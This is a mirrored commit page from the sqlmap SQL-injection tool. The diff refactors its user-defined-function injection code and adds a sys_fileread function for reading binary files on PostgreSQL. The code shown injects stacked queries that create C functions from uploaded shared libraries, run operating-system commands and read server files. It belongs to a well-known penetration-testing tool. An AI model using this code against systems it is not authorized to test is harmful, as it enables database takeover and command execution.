mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 00:04:23 +03:00
--read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read.
Fixed a minor bug in custom UDF injection feature --udf-inject. Major code refactoring.
This commit is contained in:
parent
f728208ff7
commit
89dc99188d
|
@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
|||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInjectCmd()
|
||||
self.udfInjectSys()
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if mandatory:
|
||||
self.xpCmdshellInit()
|
||||
|
|
|
@ -35,6 +35,7 @@ from lib.core.dump import dumper
|
|||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
@ -89,21 +90,23 @@ class UDF:
|
|||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_exec"
|
||||
|
||||
cmd = unescaper.unescape(cmd)
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||
|
||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_eval"
|
||||
|
||||
cmd = unescaper.unescape(cmd)
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
@ -116,23 +119,29 @@ class UDF:
|
|||
|
||||
return output
|
||||
|
||||
def checkNeededUdfs(self):
|
||||
def udfCheckNeeded(self):
|
||||
if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs:
|
||||
self.sysUdfs.pop("sys_fileread")
|
||||
|
||||
if not conf.osPwn:
|
||||
self.sysUdfs.pop("sys_bineval")
|
||||
|
||||
if not conf.osCmd and not conf.osShell and not conf.regRead:
|
||||
self.sysUdfs.pop("sys_eval")
|
||||
|
||||
def udfCreateFromSharedLib(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
if not conf.osPwn and not conf.regAdd and not conf.regDel:
|
||||
self.sysUdfs.pop("sys_exec")
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||
def udfSetLocalPaths(self):
|
||||
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfCreateFromSharedLib(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfInjectCore(self, udfDict):
|
||||
|
@ -157,6 +166,11 @@ class UDF:
|
|||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
|
||||
def udfInjectSys(self):
|
||||
self.udfSetLocalPaths()
|
||||
self.udfCheckNeeded()
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||
|
@ -286,7 +300,6 @@ class UDF:
|
|||
|
||||
if isinstance(retType, str) and retType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the return value")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["return"] = retType
|
||||
break
|
||||
|
@ -314,16 +327,13 @@ class UDF:
|
|||
while True:
|
||||
choice = readInput(msg)
|
||||
|
||||
if choice[0] in ( "q", "Q" ):
|
||||
if choice and choice[0] in ( "q", "Q" ):
|
||||
break
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, only digits >= 1 and "
|
||||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
|
|
|
@ -64,7 +64,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
self.__datadir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF return data-type
|
||||
# UDF name: UDF return data-type
|
||||
"sys_exec": { "return": "int" },
|
||||
"sys_eval": { "return": "string" },
|
||||
"sys_bineval": { "return": "int" }
|
||||
|
@ -534,7 +534,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfSetLocalPaths(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
@ -548,21 +559,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.checkNeededUdfs()
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
|
||||
def uncPathRequest(self):
|
||||
if not kb.stackedTest:
|
||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||
|
|
|
@ -61,19 +61,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
||||
"sys_eval": { "input": [ "text" ], "return": "text" },
|
||||
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
||||
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
|
@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||
warnMsg += "if the requested file is binary, its content will not "
|
||||
warnMsg += "be retrieved"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = []
|
||||
self.initEnv()
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
|
||||
|
||||
if kb.unionPosition:
|
||||
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
|
||||
|
||||
if not result:
|
||||
result = []
|
||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the content of the "
|
||||
errMsg += "file '%s'" % rFile
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
indexRange = getRange(count)
|
||||
|
||||
for index in indexRange:
|
||||
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
|
||||
result.append(chunk)
|
||||
|
||||
return result
|
||||
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||
|
@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
def udfSetLocalPaths(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
|
@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.checkNeededUdfs()
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
|
|
@ -285,12 +285,7 @@ class Filesystem:
|
|||
|
||||
fileContent = newFileContent
|
||||
|
||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||
fileContent = self.__unhexString(fileContent)
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
fileContent = self.__unbase64String(fileContent)
|
||||
|
||||
fileContent = self.__unhexString(fileContent)
|
||||
rFilePath = dataToOutFile(fileContent)
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user